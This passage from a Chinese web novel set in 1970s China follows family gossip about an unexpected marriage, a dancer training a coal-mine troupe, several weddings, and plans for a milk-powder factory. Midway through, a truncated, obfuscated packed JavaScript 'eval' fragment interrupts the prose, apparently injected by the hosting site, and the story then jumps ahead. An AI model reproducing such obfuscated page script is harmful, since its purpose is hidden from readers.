可关盈钺一家、洪安娜一家同时过来,都来说高武结婚的事儿。为什么?因为结婚对象,谁也不认识,竟然是一个叫苗祈儿的女人。 “谁?”章清云一脸的惊愕,忍不住掏了掏耳朵,怀疑她听错了。 关盈钺重复道:“苗祈儿。怎么,清云,你认识?” 章清云僵在当场,都不知道如何反应了。还是关百钺受惊小反应快,将事情简单的说了,洪安娜听完,哈哈哈的大笑,前仰后合的,都快笑岔气了,半晌才道:“报应,都是报应!人家叶宛如怀了他的孩子他不娶,娶一个怀了别人孩子的,不是报应是什么?” 关盈钺也笑,不过她道:“肯定是季长善的主意,苗祈儿估计见季长善执意不肯,才答应的。也是个豁得出去的,为了目的不择手段,比她姐厉害多了。既嫁入了高门,手里还捏着季长善的把柄,高手啊。” 谁说不是呢。关盈钺啧啧两声,望向章清云时表情严肃:“清云,以后和这个祈儿接触的时候,小心些。另外和苗盼儿也别什么话都说了,她毕竟是苗祈儿的姐姐,你多注意。” 章清云点点头,关盈钺继续叮嘱:“百钺,还有你,和陶勇说话也注意分寸。那是人家小姨子,什么该说什么不该说要清楚。” 关百钺正和安安、小福一起玩七巧板呢,闻言笑着点头:“知道了,姐,你可真够操心的。东西都准备好了吗?我这儿还有些木耳、蘑菇一类的干菜,一起给罗姨寄过去。” 师援军摆摆手:“够了,我妈一个人,也吃不了那么多。本来想今年去农场看看的,谁知道你姐怀孕了,只能把东西寄过去。” 说着,他指了指带来的奶粉:“不是说要研究奶粉吗?那是妈寄来的,说是他们农场自己生产的,你看看怎么样,能不能生产出来。” “行,谢谢姐夫。” 见没人提,章清云问起来:“高武的婚礼,要去吗?” 洪安娜道:“去,这么大的乐子,我得笑一年。再说,不看高武的面子,还得看高叔和宋姨的面子。” 也是这个话,一时没了声音,章清云起身道:“姐,想吃什么?上次包的油渣包子还有呢,我热几个。” 听到吃的,安安和小福也不玩七巧板了,纷纷抬起头盯着章清云:“包子,吃包子。”声音格外的软萌。 章清云忍不住上前挨个儿摸了摸两人的头,笑着道:“行,给你们馏包子吃。还想吃什么?” “肉,吃肉。” 沈福倒是一点儿也不客气,听得沈爱军没忍住,上前给了儿子屁股两巴掌:“你倒是会吃。” 沈福咯咯咯的笑,一点儿也不在意,显见在家的时候,父子俩就经常这么玩儿。上次章砚廷给的腊肉还有,就是腊肉太老,又是熏制食品,好像并不适合小孩子吃? 章清云望向关百钺,关百钺起身道:“等着,我去食堂看看。” 师援军和沈爱军忙起身跟着,如今不是每天都能买到肉的,得碰运气。今儿关百钺夫妻俩必是没买到肉。 也算是三人运气好,正好有鱼丸卖,三人买了三十颗鱼丸,兴冲冲地回来,两个孩子吃的格外满足。 高家的婚礼没什么特别,部队大院的食堂,和当初没什么区别的茶话会。只是高武全程拉着脸,一看就对婚事不满意,苗祈儿倒是大大方方的,见了关百钺和章清云也不尴尬,还招呼呢:“清云姐,以后想吃部队大院的蒸饺了,跟我说,我给你送。” 每个大院都有做的好的饭,科研大院是鱼丸,部队大院就是蒸饺了,可能厨子是南方那边过来的,蒸饺的皮几近透明,很有些广式点心的味道,每次一做出来就一抢而空。 章清云呵呵笑了两声,并不接话。转头看到双眼两簇小火苗,蹭蹭往外冒的苗盼儿,章清云噗嗤笑了出来。以苗盼儿的性子,能忍着不掀桌子,可谓是极好的涵养了。 “行了,你是祈儿的姐姐,又不是妈,你妈都不管,还乐呵呢,你生什么气?” 让人没想到的是,季长善竟然也来了,还没事儿人一样地恭喜两人:“白头到老,早生贵子。” 章清云忙去看高武的脸,确定了,高武应该只知道被苗祈儿算计了,却不知道是苗祈儿和季长善合伙做的。或者说,他不知道,苗祈儿怀了季长善的孩子。 不过,高武要是正派,也不会被两人算计。关百钺和章清云没打算多管闲事,参加完婚礼就该干嘛干嘛。 正值大学放寒假,程紫鹃和古美不知是不是约好了,竟然一起来找章清云。 “你俩一个农林大学的,一个省城大学的,怎么凑一块儿了?” 程紫鹃肚子微挺,也是凑巧,入学半个月,程紫鹃查出有孕,那这是人家入学前怀上的,不能不让生,于是就这么着,程紫鹃算是利用读大学的时间,完成了生孩子的任务,她笑着道:“沈洲这家伙事儿多,带着古美到我家去了几次,一来二去的就熟了。” 章清云稀奇:“沈洲倒是会来事儿,怎么,今年想上紫鹃那个学校?” 古美咯咯咯的笑:“这不是争取呢嘛,这小子去年下乡半年多,可是团里的积极分子,机会还是有的。” 因着程紫鹃有孕,当初说的去冰场的事儿倒是不好再提了,古美干脆道:“苏联饭店,我请。不带男人,就咱们三个去,怎么样?” 程紫鹃立时响应:“行啊,只要有人请客,上刀山下火海都成。” 章清云也没意见,于是三个女人撇下男人,自个儿去逍遥了。 路上,古美低声问:“叶宛如你们认识吧?” 章清云挑眉:“认识,怎么了?” 古美嗐了一声:“还不是吴军那小子,不知道怎么想的,大学里和叶宛如勾搭上了,说是过年的时候要带到家里,把老爷子气的不轻。你们说......” 她压低声音:“当初叶宛如那名声,谁不知道?吴军是不是脑子不清楚?” 章清云:“......”她能说什么呢,说叶宛如其实没那么坏?只能说:“感情的事儿,谁说的清。许是就看对眼儿了呢,你这身份尴尬,别管那么多。” 古美不以为意:“我才不管呢,这不是好奇问问嘛,听说叶宛如以前那对象,叫高武的,结婚了?还是娶了一个大杂院的?” 章清云点头,倒是没多说。三人一路说着八卦,一路往苏联餐厅走。说曹操曹操到,前面并肩而行的,不正是高武和苗祈儿? 章清云赶紧拉了拉两人的袖子,放慢脚步道:“等会儿,前面就是高武和苗祈儿,咱们慢点儿走,别撞上了。” 程紫鹃还想看看呢,闻言奇怪道:“怎么了,你不喜欢这俩?” 章清云嘘了一声,拉着两人躲在树后:“高武这小子心眼小,看我家百钺不顺眼呢,我才不上赶着跟他说话。” 古美挑挑眉:“恐怕还有别的事儿吧?你不像是在躲高武,反而像是躲那个叫苗祈儿的。” 章清云:“......”她表现的没这么明显吧。事关小孩子,也不知道苗祈儿堕胎没有,她才不说呢,只得呵呵笑道:“那什么,要不咱们去其他餐厅?又不是只有苏联餐厅,我记得还有古巴餐厅,咱们去古巴餐厅看看。” 古巴餐厅是这两年才建起来的,烤肉极其有名,章清云还没去吃过呢,本来只是随口一说,想到烤肉还忍不住流口水了,她说:“走吧,苏联餐厅的菜都吃过了,去古巴餐厅尝尝鲜。” 古美和程紫鹃对视一眼,都没说什么。炖牛肉、黑豆饭、烤猪肉,再来一个布蕾蛋糕,算是和苏联餐厅不一样的体验。 古美笑着说了大学的事儿:“年后我就要去农场实习了,想要什么给我写信,我想办法给你们弄。” 章清云心里一动,问道:“你去的那农场,是种什么的?” 古美笑着道:“什么都有,大豆、甜菜,还养牛羊呢,怎么,想吃牛羊肉了,还是想要牛奶羊奶?” 章清云莞尔:“哪儿啊,这不是问问嘛。紫鹃你呢,大学上得怎么样?” 程紫鹃擦擦嘴,低声道:“学不了什么东西,整天不是闹腾这个,就是折腾那个的,每个消停的时候。好在图书馆里还有些专业课的书,我一个孕妇,不跟着闹腾别人也说不了什么,闲着我就去图书馆看书,也算打发时间了。” 章清云笑,轻声道:“那感情好,多看看书总不会错的。” 三人有一搭没一搭地聊着,不多时吃完午饭,又去百货商店逛了逛,这才分开。路过供销社,见到还有老豆腐,就是有些碎了,应该是被挑剩下的,章清云赶紧给包圆儿了。炸豆腐丸子又不需要多好的豆腐,这种的就可以。 回到家,见关百钺可怜兮兮地一边啃包子一边画图,章清云噗嗤笑出声:“怎么不去食堂打点儿饭?” 关百钺眨巴着眼睛摇摇头:“懒得出去,包子里有肉有菜的,这就行。” 说着瞄了眼章清云提着的豆腐,笑道:“这是准备炸豆腐丸子?” “对。”章清云换了鞋,边洗手,边将古美过完年去农场实习的事儿说了。 关百钺点点头:“那个农场我知道,规模不算小。行,有事儿我会跟沈洲提的。” 他想了想,说道:“要不今年回章家过年?姐怀孕了,没时间招待咱们,再说,咱俩结婚也两年了,还没去章家过年呢。” 章清云咧开嘴角,嗯嗯嗯地点头:“那咱们多准备些东西,给姐他们送过去,就当是咱们的心意了。” 看章清云这么高兴,关百钺突然觉得还是提的迟了,该去年就回章家的。和大姐一个院儿住着,抬头不见低头见的,但是章家却不是时时刻刻都能见到。清云重情,两年没在家过年,该是有些难过的吧? 关百钺连忙笑着点头:“都听你的。” 因着这个决定,关百钺吃完也上手帮忙,又是炸豆腐丸子,又是炸萝卜丸子的,做了有两笸箩的炸货。特意收拾了一多半,晚饭的时候提着去了师家。 关百钺进门就放下东西,笑着道:“姐,今年过年我去老丈人家啊,就不来打扰你和姐夫了。” 关盈钺瞬间明白,同样笑盈盈地回:“行,该回去的。援军,不是有狍子肉嘛,给百钺拿点,回老丈人家可不能空手。” 师援军笑:“还用你说,昨儿就分好了。” 安安正捏着丸子往嘴里塞呢,闻言乐的拍手:“肉,爸爸救人,有肉吃。” 这是说肉的来源了,关盈钺的笑瞬间有些僵,狠狠瞪了一眼师援军,说:“你姐夫从公社回来的时候,路上救了一晕倒的老太太,好在那家人不是难缠的,否则非赖上不可。百钺,你也说说他,不是不让他好心,救人呢,谁都不能说他错了,可送到附近的卫生院就行了,他还非留下来等人家家里人来,你说有这样的吗?这是运气好,没被赖上,要是运气差,整个家都不够赔的。” 这倒是,关百钺安抚性地冲关盈钺眨眨眼,起身道:“知道了,姐,我去跟姐夫说。” 章清云也忙安抚关盈钺:“姐,别气,咱还怀着身子呢,为这个再气出个好歹来,多不划算啊。姐夫也是好心,放心,百钺跟他说说,没事儿的。” 师援军也觉得这个事儿做的欠考虑,到厨房的时候,没等关百钺开口,他就低声道:“我知道,这个事儿是我没处理好。放心,以后不会了。” 关百钺这才放心,他说:“援军哥,你可要有两个孩子了,凡事多想想我姐和安安她们娘俩。” “我知道。” 在师家吃了晚饭,两人才离开。今年过年还算早,阳历二月二日就是除夕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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章清云惊讶:“可人姐呢?她不是文艺骨干?”蓝可人当年就是嫁到了煤矿,男人老齐还是煤矿的办公室主任,权利不小,只是有两个将近成年的孩子,蓝可人嫁过去得做后妈。如今两年多了,蓝可人就是再离开文工团,基本功还是在的吧,不可能连一个业余队都组织不起来。 “可人怀孕了,这才跟领导们推荐了你。她如今是那边的文艺骨干,这个业余芭蕾舞团就是她提议的,咱们不好扶了那边的面子。” 章清云了然:“是文工团的煤炭供应紧张了吧?” 见章清云猜到了,向党也没隐瞒,直接道:“这两年市里新建了几个厂子,煤炭产量还是那么多,分到各个单位的就少了。小队员们都反应,宿舍楼的暖气不暖。跟煤炭公司那边沟通,去找了蓝可人,她一口答应下来,不过也提了要求,想让咱们去帮着培训培训。” “要去多久?”煤炭厂区可不近,要是去的久,就得住那边了。 “说是至少一个月。” 去这么久,章清云没敢立刻答应,她说:“团长,我得回去跟家人商量商量。” 向党点点头:“应该的,那你回去好好考虑考虑,过两天给我回复。” 好不容易下班,跟关百钺一说,谁知他笑着道:“巧了,我正想去那边的农场看看呢,我记得煤厂和农场离得不远,正好。” 章清云笑了,她问:“去农场看奶牛?” 关百钺点头又摇头,笑着说:“还有大豆和甜菜,都去看看。古美不是在那边实习嘛,不行你去跟她挤挤?” “不用,煤炭厂请我们去,肯定会安排住处的。你呢?要去挤宿舍?” “那边有小院子住,别担心。”关百钺扬了扬手里的铝制饭盒,“韩阿姨让常胜带的红焖羊肉,说是洪叔叔的战友来看他,送的羊肉。” 章清云欢呼一声,相比于猪肉和牛肉,她还是更喜欢吃羊肉的。夫妻俩品尝着美食,初五吧,两人就收拾东西,分别去了市郊的煤炭厂和农场。 与想象中不同,蓝可人眉眼十分舒展,性子似乎都爽朗许多,看见章清云就笑道:“终于等到咱们的台柱子了。” 章清云挑挑眉,蓝家人不吸血了?不可能啊,当初就是拼着搅合了高斌,也没让蓝可人脱离蓝家的掌控,如今这是怎么了,蓝可人还能摆脱了蓝家不成? 她不动声色地回道:“可人姐,别人叫我台柱子我还敢应,您叫我可不敢答应。谁不知道,我当初可是您的B角,您才是当之无愧的台柱子呢。” 蓝可人笑得更开心了,连声给大家介绍。因着年后这一个月,演出任务不多,这次文工团来的人还不少,除了章清云,还有三人,正好两男两女,给足了煤炭厂面子。 煤炭厂的业余舞蹈团目前共有十二人,八女四男,看年龄都不超过十八岁。长得当然没有章清云他们四个好,身体条件也不专业,不过也算是普通人中长得好的了。既然来了,四人都没客套,当天就开始训练,简单的压腿和抻胳膊,惹得大姑娘小伙子好一顿鬼哭狼嚎。 当天晚上,蓝可人和宣传科的科长,亲自招待四人去食堂吃小灶。科长姓于,四十岁左右的女干部,一路上对蓝可人十分的客气,看蓝可人的神情,似是习以为常,很不当回事。 章清云挑挑眉,权利是人的胆,蓝可人不说面目全非吧,如今看着也是大变样了,再不是当初那个畏畏缩缩、被家人吸血的女孩子。 点菜时,蓝可人笑着调侃:“知道你们不能吃肥肉,食堂特意从农场那里买的牛肉,咱吃红烧牛肉。也是你们运气好,前几日农场有一只牛摔断了腿,活不成了,正好便宜大家伙儿,我和于科长也能享享口福。” 章清云算是四人里的小头头,笑着回道:“那感情好,托可人姐和于科长的福了。” 文工团其余三人嘻嘻嘻的笑,小包间一时间气氛和乐。等食堂工作人员上菜时,章清云愣了愣,这上菜的大娘,是蓝可人的母亲吧?她好似在文工团见过一次,这是被安排进食堂工作了? 面对蓝可人,蓝母笑容十分讨好,声音都带着小心,她说:“可人,知道你不能吃葱,我特意跟大师傅说了,所有的菜里都没放葱花。” 蓝可人板起脸,没什么表情地道:“工作时间,禁止说家事。” “是,是。”蓝母弓着腰,将盘子放到桌上,脸上挂笑地退出去。 章清云挑挑眉,不管蓝可人的丈夫老齐用了什么方法,能让她认清父母的本质,也算是做好事儿了。于科长眉毛都没抬一下,十分沉得住气,文工团的三人跟蓝可人不熟,自然不认识蓝母,只觉得包间的气氛变得有些怪,坐在那里动都不敢动。 蓝可人拿起筷子,笑着道:“清云,快尝尝这道炝炒莲花白,是我们大师傅的拿手好菜。” 于科长立马笑着让其他三人:“别客气,都尝尝,严师傅的手艺,吃了就没有不爱的。” 空气这才似乎重新流动起来。四大盘子菜很快上完,吃饱喝足,晚上被安排在煤矿的招待所,两套标间,章清云和一名叫孙妍的女队员一屋。就是之前推荐上大学选举时,两次票数相差比较大的那位,后来团里也查了,没查出她有作弊的行为,这件事儿就不了了之。不过章清云觉得,事儿八成和孙妍有关,只是她做事谨慎,没被抓住手脚。 其实这次不需要孙妍来,只是自那次选举,孙妍就瞄上了章清云,可能是觉得她有背景?反正是章清云去哪儿她都盯着,这次来煤矿自然不会落下。 孙妍也是老队员了,今年二十三岁了,资历在那里摆着,她主动申请要来,向党自然就批了。另外,也是考虑到孙妍年纪大了,从一线退下来之后的去处问题。他们做领导的,自然都希望队员们能有个好去处。只是好去处不好进罢了,孙妍能主动找出路,向党当然不会阻拦。 跟这样的人住一屋,章清云警醒着呢,好的皮鞋、衣服都没带,就是文工团发的军装,换洗衣服也都是最常见的那种,一点儿也不出格。另外一点儿零食也没拿,十分谨慎了。 孙妍也不知道这是防着她呢,进屋就热情地安排床位:“清云,我睡窗边吧,你那边挨着暖气,暖和。” 章清云可不拒绝,想表现就表现,她不是会跟人轻易交心的,讨好几次没结果,自然就退了。至于蓝可人那边,端看孙妍有没有办法攻破了。 翌日一早,孙妍早早醒来,蹑手蹑脚地去洗漱。章清云睡觉轻,很快也睁开眼,见孙妍洗漱好了,也忙坐起来。孙妍边擦脸边笑着道:“听说煤矿这边早上有大肉包,我去看看,有的话给你打两个。” 章清云一边穿鞋一边摆手拒绝:“不用,我马上就好了,见了自己就买了。你想吃什么就买什么,别操心我。” 孙妍顿了下,笑笑不再开口。只不过等章清云洗漱好出来时,孙妍也没走,而是道:“我想过了,咱们一起来的,还是一起去吃饭比较好。” 章清云耸耸肩,换好衣服跟着孙妍一起出去。路上,孙妍犹豫良久,开口道:“清云,一会儿示范的时候,我来吧。你给大家纠正动作,我做示范,怎么样?” 昨天只是压腿,今天第一天正式训练,煤矿的领导说不定会来,孙妍这是想表现表现啊。章清云本身就没打算来煤矿,闻言也没拒绝,笑着道:“那辛苦你了。” “不辛苦,不辛苦。”孙妍说完,这才咧嘴笑了。选举那次做的过了,但她都二十三岁了,实在是跳不动了,得为以后考虑考虑。煤矿可是数一数二的单位,从蓝可人的面色就能看出来,过得多滋润啊。就不信她来了,会不如蓝可人。 61. 春日婚礼喜事多 隔壁农场,关百钺和洪常胜也开始了工作,关百钺是听说这边准备试种新的大豆品种,过来问问负责的教授有关新品种的事儿。另外也来摸摸底,牛奶日产量是多少,是否能供应上日后奶粉厂的需求,以及和农场如何合作,各自持股多少,都是前期需要做好的工作。陶勇得留在厂子里看摊子,这才带了洪常胜过来。 也是凑巧,卢建设陪着公社领导,来农场要一些果木苗。之前冬日里折腾翻土修水库的,如今差不多了,水库边上得围上一圈儿苗木,以防小孩子不懂事,乱跑掉进去。领导们就想了这么个方法。种什么不是种呢,种点儿果树,秋日里还能吃果子呢。 这就想到农场了,综合性的农场,果树肯定是不缺的。两边遇上,卢建设瞧着成熟健壮多了,也不是之前小白脸的样子了,脸晒黑了些,见到关百钺热情地喊哥,彼此介绍道:“这是我们公社邱主任。邱主任,这是青江市粮油公司的关百钺,就是之前跟您提过的那个机械天才。” 邱主任四十多岁的样子,闻言满脸带笑地伸出双手,热情地说:“久仰久仰,关同志您的贡献,咱们省可都传开了。不仅帮助提高了大豆出油率和甜菜的出糖率,还研发了冻干机,给军队提供军粮,您是这个!” 他竖起大拇指,一个劲儿地恭维,还不忘打听:“您来农场是?”要是有新项目,哪怕不能惠及公社,能得到消息,提前安排一两个人也是好的。 关百钺的嘴可是很紧的,再说奶粉厂还只是雏形,能不能办起来还不知道呢,他不可能往出说,只笑着道:“邱主任您客气。这不是听说农场这边有新的大豆品种,我也是来看看新大豆和之前大豆的区别。”半句不提奶粉的事儿。 卢建设多看了关百钺几眼,低下头不言语,眼珠子却咕噜噜转,得让魏雪去关家走走了,百钺哥肯定是有新的打算,要是能安排到他们公社,他也算是对公社有突出贡献了,大学推荐名额还不是十拿九稳...... 算盘打的啪啪响,可惜,一番动作全被关百钺看在眼里,焉能不提防?他随口问道:“邱主任您这次来,是有什么打算?” 那邱主任能瞒着嘛,又不是什么大事儿,说不得人家顺手就办了,便把想种果木的事儿说了。 关百钺笑着道:“果木好,苹果、梨、樱桃,咱们这里都能种,品质好的卖鲜果,稍微差点儿的还能做罐头,再不好的就榨果汁,全是果木相关的产业,需要的人手可不少,也是公社发展的一个契机。” 他记得卢建设去的这个公社,樱桃是十分有名的。就算是日后,樱桃都是高价水果,要是能发展起来,真是能受益的。而且这不是绝了卢建设上门的路吗?一举两得。 邱主任和卢建设听闻,均眼前一亮,也都想到了樱桃上。之前总是听说樱桃罐头,樱桃罐头的,他们也可以做啊。总想着发展大的机械产业,眼前的倒是忽略了。公社已经两年被评为先进公社了,今年提出要办厂,想来也不难...... 初十,煤矿大礼堂,章清云作为主舞,成功完成演出。接下来的训练格外顺利,都见识过章清云的实力,可不羡慕嘛,都想像她一样,在舞台上闪闪发光,让人移不开眼。 就连孙妍,都有被人供着的感觉,时间一长,也不知是不是老牛吃嫩草,孙妍竟然跟队里的一名男队员走动地格外近。中场休息的时候,两人有说有笑的,形容十分亲密。 蓝可人撇撇嘴,低声跟章清云吐槽:“那是厂长的侄子,叫苏政,今年才刚二十。” 章清云噗嗤笑出来,还真是吃嫩草啊,她笑道:“女大三抱金砖嘛。” 蓝可人切一声:“得了吧你,还清纯起来了。不过这个苏政也不是吃素的,别看才二十,女朋友谈过不下三个,两人最后还不知道怎么样呢。” 章清云忍不住好奇:“你和孙妍有矛盾?”她以为在她这里吃瘪了,孙妍会冲着蓝可人使劲儿,没想到人家冲队员下手了。 蓝可人瞄了眼章清云,见她不似作伪,这才低声道:“她之前还想追高斌,撬我的墙角,你不知道?” 章清云真惊讶了,嘴巴张得老大,快能塞下一个鸡蛋了。她可真没听过这个,也完全没想到,蓝可人竟然主动提起了高斌! 蓝可人见状,也噗嗤笑了出来:“行了,什么怪样子。我现在是看开了,别看老齐比我大那么多,可他人真的很好,也让我明白了许多。以前是我不懂事,和家里人一起逼高斌,其实是我对不起他。听说他结婚了?” 章清云咽了咽口水,点头道:“对,和部队的一个女兵,估计那女兵家里条件不错。” 蓝可人迅速低下头,掩饰住脸上的失落,良久,她摸了摸肚子,声音里都是幸福:“那就好,我也能放心了。” 章清云小心地问:“可人姐,你家老齐给你吃什么灵丹妙药了,你怎么跟换了个人似的。” 蓝可人只当没听见,转移话题道:“过几天回去,帮我带点儿东西给向团长和周教练。” 两人有一搭没一搭地聊着,一个月的训练期很快结束,出乎章清云的意料,那个叫苏政的小伙子并没有来送孙妍,孙妍也没事儿人一样,跟着大家离开。 章清云没忍住,偷偷看了孙妍几眼。要是没记错,有几天晚上,孙妍偷偷出去,很晚才回来。她睡觉轻,孙妍做的再小心,她还是察觉了。如今这样,是闹翻了? 可不是,回去之后也没见苏政来找孙妍,短短一个月的缘分,就这么稀里糊涂地过去了。 开春后,青江市罕见的下了一场冰雹,最大的有鸡蛋般大小,地上被砸的坑坑洼洼。听说下面的大队里有砸死人的。冰雹过后,所有单位都忙起来,检查房屋毁损情况、统计人员伤亡情况,并开始整修屋顶和路面。 人员不够,就连关百钺这些工厂的干部,都被抽调,一条街道一条街道的走访,就怕有被砸伤在家的老人。 军医院也开始收治砸伤的病人,师援军也不培训赤脚医生了,针对地区医院二把刀多的情况,军医院让师援军去地区医院坐镇,帮着诊治病人,并培训那些二把刀。 沈爱军是警察,这时候也是最忙的。等忙完,已经是三月末,天气都开始暖和了。不巧,章清云他们文工团又开始忙了。忙什么呢?慰问演出。 这么多地方受灾,文工团不能去救治伤患,慰问演出总要有的。不仅要有,质量还得好。鉴于之前大联欢的成功,这次干脆再和地方文工团合作。一水儿的俊男美女,所到之处,都是坠在后面追着跑的大姑娘小伙子,十分的受欢迎。 轮到隔壁市深山的一处农场,接待人员中意外的发现了杜玉玲。许是过得不如意,杜玉玲的脸上多了几分刻薄,只是很快消失不见,再去看时,已经满脸都是笑。 以前都是同事,搭建舞台时,杜玉玲来帮忙,大家也没说什么。晚上吃完饭,回到招待所,孙妍有几分神思不属,一会儿摸摸肚子,一会儿咬牙切齿的,表情十分精彩。 章清云洗漱出来,见到吓了一跳,她问:“孙妍,你没事儿吧?” 孙妍忙收敛表情,摇摇头没说话。以为没事儿了,谁知都躺下睡觉了,没几分钟,孙妍又坐起来,披上衣服往外走。 不明白发生了什么事儿,明儿还要演出呢,章清云模模糊糊地睡着了。 翌日,很是吃了一惊,孙妍请假,而她原来的节目,竟然让杜玉玲顶上了。 谁不惊讶啊!杜玉玲不在团里快两年了吧,这是要回来了?按年龄,杜玉玲和孙妍差不多,就算回来,也跳不了几年的。 两年没正经跳过,杜玉玲的演出差强人意,好在没有大的失误,一场大联欢成功完成。走的时候,农场给的谢礼不少,向团长和周教练也没说带杜玉玲走。不过经此一事,杜玉玲就算留在农场,应该也做不了什么重活。 演出回去没多久,意外地收到吴军和叶宛如的结婚请柬,章清云弹了弹请柬,笑道:“没想到还修成正果了。那次听古美提起,我还不敢相信呢,这俩之前应该认识吧?” 关百钺也觉得不可思议,他笑道:“可不是,圈子就这么大,肯定是认识的。估计是觉得同病相怜?叶宛如也算是帮过咱们,准备送什么?” 章清云想了想,道:“上次去农场演出,还有之前你去农场考察,农场那边不是都送了奶粉吗?咱们送几袋子那个过去?” 关百钺点点头:“那得悄悄给,明面上还是被罩、床单这些吧,这些不打眼。” 这也是,章清云笑着问:“奶粉厂的事怎么样了?要办吗?” 关百钺笃定地点点头:“办,这次我要全权负责,不能再放手了。奶粉跟其他不一样,马虎不得。办起来以后,厂子规模不会小,需要的地皮也多,要跟原材料挨得近,就得在城郊农场那一片建厂,以后有的忙了。” 章清云想了想,道:“那一片倒是挺大的,就是太荒了,估计城里的人不会想去。” 关百钺笑道:“不想去才好呢,走关系的就少了。你忘了之前招工的事儿了?” 章清云就笑,这怎么可能忘,两人还因此打赌呢,言犹在耳,两人相视而笑。 很快到了吴军和叶宛如成亲的日子。古美帮着操持婚礼,又是发糖块,又是给大家散瓜子儿的,十分热情。 再次见到叶宛如,章清云十分高兴,之前听说叶宛如过年都没地方去,如今成亲了,两人还都是大学生,应该不会再无家可归了吧。上了礼,冲叶宛如点点头,这时候的新娘子是最忙的,她也不去凑热闹,坐下来嗑瓜子儿,听着周围的人说八卦,竟是难得的休闲。 没人注意的时候,古美特意过来,小声跟章清云咬耳朵:“本来吴叔不同意的,你知道为什么又同意了吗?” 章清云边磕瓜子儿,边翻着眼皮儿看古美,这自问自答的,她不问古美也会说的。 果然,古美哼一声,径自说道:“那个叫夏琳的还记得不?就是叶宛如她爸的情人,大女儿见义勇为,被送去上大学的那个。” 章清云点点头,古美继续道:“那是个心狠的,将那小儿子塞给叶宛如养,自己跑去嫁人了!” 说着使劲儿撇嘴,眼里都是厌恶:“说是那是叶宛如的弟弟,她要是不养,夏琳就把孩子送到孤儿院去。闹了几次,叶宛如上着大学呢,怕事情闹大影响她,没办法,接了那小孩儿养着。你不知道,那小子才三岁多,如今就在科研大院的育红班呆着呢。吴叔就是听说这件事,觉得她不算太坏,还肯认弟弟,这才同意的。” 章清云:“......”这是什么逻辑!不该觉得多养一个孩子,是负担吗?真是搞不懂这年代的人的脑回路,无语半晌,她终于找回自己的声音,问道:“那吴军同意多养一个孩子?养小孩儿花销可不小。” 古美切一声,白了章清云一眼:“你傻啊,叶成才知道叶宛如帮他养儿子,会不跟她说点儿什么?估计私藏起来的钱都给出去了。” 章清云:“......”是她考虑的少了,卢平在位的时候没少贪,叶成才手里肯定不缺钱。 许是春天天气好,最近的婚礼格外多。先是吴军和叶宛如的,没过几天,隔壁顾云凯和孙红也举办了婚礼,另外还有孙妍和苏政,这两人竟然也结婚了。结婚没多久,孙妍调去煤矿,文工团里不少人都十分羡慕。 再去各处演出时,章清云发现,队员们的精神格外饱满,跟其他单位对接时,甭管多细碎的活儿,一个个抢着做,好几次都快抢破头了。 姚燕妮抱臂,冷笑两声,重新上班后,她的产后抑郁好了许多,程卫东被程正道教训过,不敢做得太过分,如今两人的日子不冷不热,勉强凑合。 见章清云吃瘪,姚燕妮讽刺道:“没点儿眼色的,你都结婚了,跟那些人抢什么?人家是抢着认识其他单位的领导好嫁人呢,你抢着是想干啥?” 呵,这么多天不见,怎么学的跟苗盼儿一个德行了。一个组呆的久了,这是传染了?章清云翻个白眼儿,没好气地道:“我这不是一时没想到嘛。你怎么想着跳孙妍的位置了?孙妍可一直跳的是女配。” 姚燕妮呵呵两声:“我孩子都生了,还能跟你抢女主不成?”生了孩子才发现,体力真的下降很多,以前能跳满全场的,如今半场跳下来,腿都打颤。慰问演出的时候,咬牙跟着苗盼儿跑了一个月,终是不服输不行,主动申请来跳女配了。 “阳阳怎么样了?”阳阳是姚燕妮的儿子,前两天大晚上发烧,姚燕妮特意给关家打了电话,让章清云帮着第二日给团里请假,不然章清云也不会知道这个事儿。 “好多了,小朋友就爱发烧,一生病老是哭,烦死了。”提起儿子,姚燕妮还是有几分不喜,不过语气里已经有了几分宠溺,是那种关系很好的人之间才会有的抱怨。 两人说着话,表演前的沟通工作进行的差不多,舞台也布置好了,两人不再闲聊,上舞台检查了一下,这才开始准备下午的演出。 同一时间,在城郊检查工厂场地的关百钺,则遇上了事儿。 为了说服周局等一干领导在郊区建厂,关百钺准备再去那地方看看,私下和农场、煤矿都谈好,再去找领导谈,这才是正经办事儿的态度。 这不,一大早,去两个厂子转了一圈儿,见都没什么事儿,关百钺就带着洪常胜去郊区。四月,草长莺飞,风吹草低见的可能不止牛羊,还有蛇。两人推着自行车还没走多久,就感觉身后凉飕飕的,回头一看,妈呀,五彩斑斓的大蛇啊,身子有成年男人的手腕粗细,蛇信子吐的老长,滋滋滋的,照着关百钺的小腿就咬。 “小心!”一道粗犷的男声响起,同时响起的,还有一声枪响。 关百钺腿肚子都打颤,那条蛇离他不到十厘米,要是慢一点儿,就被咬到了!看那蛇的样子,八成是有毒的! 洪常胜年轻气盛,拉着关百钺蹬蹬镫退后几米,这才见男人上前,蹲下确认蛇已经死了,抬头看向两人:“你俩没事儿吧?” 开枪的男看着二十二三岁,一身绿军装,脸上棱角分明,看起来格外精神。后面的女人看起来四十多岁,一身灰扑扑的补丁衣服,气质却十分温婉,一看就是读过书的,与一般的农妇不同。关百钺眼睛眯了眯,试探着开口:“宋老师?您这是......” 上次参观农场,记得里面的领导说过,宋柔是下放的化工专家,平时在农场里是负责割猪草的,怎么出来了? “关厂长,你好。”宋柔笑笑,指着开枪的男人道,“跟我......侄子出来走走。” 显然不想在这件事上多说,赶紧转移话题道:“春天蛇多,出来的时候尽量把裤腿绑起来。”说着,指了指她的裤腿,只见她和年轻男人的裤腿都被绳子绑住,就连袖子都箍得紧紧的。 关百钺道了声谢,开枪的男人从兜里掏出一小卷绳子,递过去道:“喏,用这个吧。我叫鲁帆,在农场的保卫科工作,我知道你,你想在这附件建厂,是吧?” 关百钺挑挑眉,鲁帆挠挠头,看了看母亲,不顾宋柔使劲儿眨的眼睛,继续道:“你要是想建厂,能不能把她要过去?她......她是化工专家,懂得可多了,割猪草太可惜了......” “小帆,胡说什么!工作不分贵贱,割猪草也是为人民服务,是我......” “可让您割猪草,是大才小用!”鲁帆气哼哼的,双眼圆凳,显见是气狠了,他说,“您那手要是继续割猪草,以后还怎么做实验!估计试剂瓶都拿不稳。” 